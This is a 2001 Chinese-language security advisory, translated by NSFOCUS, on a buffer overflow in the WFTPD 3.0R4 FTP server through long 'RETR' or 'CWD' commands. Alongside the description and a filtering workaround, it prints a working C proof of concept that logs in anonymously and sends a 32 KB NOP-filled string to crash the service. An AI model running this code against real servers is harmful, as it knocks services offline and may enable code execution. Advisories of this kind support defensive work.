首页 -> 安全研究

安全研究

安全漏洞
WFTPD 'RETR' 和 'CWD' 缓冲区溢出漏洞

发布日期:2001-04-29
更新日期:2001-04-29

受影响系统:

BUGTRAQ ID: 2644

受影响的系统:

  Texas Imperial Software WFTPD 3.0R4
   - Microsoft Windows 98
   - Microsoft Windows 95
   - Microsoft Windows NT 4.0
   - Microsoft Windows 2000
描述:

如果用 'RETR' 或 'CWD' 命令向运行 WFTPD 服
务器的主机发送一个无效的长字符串,将因缓冲
区溢出导致服务终止。要获得正常功能,需要重
启服务器。借助这个漏洞,攻击者还有可能执行
任意代码。

这个漏洞被报告在运行 Windows NT 4.0 的系统
上存在,系统上已安装了 SP3、SP4、或 SP6。

问题存在的原因归咎于 WFTPD.EXE 和 函数调用
'NTDLL.DLL:RtlFreeHeap()' 之间的交互。

<* 来源:Len Budney (lbudney-lists-bugtraq@nb.net) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/* WFTPD Pro 3.00 R4 Buffer Overflow exploit
   written by Len Budney
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define BUFSIZE 32774
#define CMD "RETR "  /* Alt: use "CWD " and set OFFSET to 4. */
#define OFFSET 5
void main()
{
  int sockfd, s;
  struct sockaddr_in victim;
  char buffer[BUFSIZE];
  char exploitbuffer[BUFSIZE] = {CMD};
  char recvbuffer[BUFSIZE];

  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  if (sockfd == -1)  perror("socket");
  victim.sin_family      = AF_INET;
  victim.sin_addr.s_addr = inet_addr("192.168.197.129");
  victim.sin_port        = htons(21);
  s = connect(sockfd, (struct sockaddr *)&victim, sizeof(victim));
  if (s == -1)  perror("connect");

  recv(sockfd, recvbuffer, sizeof(recvbuffer), 0);
  memset(recvbuffer, '\0', sizeof(recvbuffer));
  send(sockfd, "USER anonymous\r\n", strlen("USER anonymous\r\n"), 0);
  recv(sockfd, recvbuffer, sizeof(recvbuffer), 0);
  memset(recvbuffer, '\0', sizeof(recvbuffer));
  send(sockfd, "PASS\r\n", strlen("PASS\r\n"), 0);
  recv(sockfd, recvbuffer, sizeof(recvbuffer), 0);
  memset(recvbuffer, '\0', sizeof(recvbuffer));

  memset(exploitbuffer + OFFSET, 0x90,
         sizeof(exploitbuffer) - OFFSET - 2);
  sprintf(buffer, "%s\r\n", exploitbuffer);
  send(sockfd, buffer , sizeof(buffer), 0);
  recv(sockfd, recvbuffer, sizeof(recvbuffer), 0);

  close(sockfd);
  _exit(0);
}



建议:

临时解决办法:

  NSFOCUS建议您用某种方法过滤掉 'RETR' 和
  'CWD' 命令后所跟的过长的字符串。

厂商补丁:

  暂无



浏览次数:5121
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障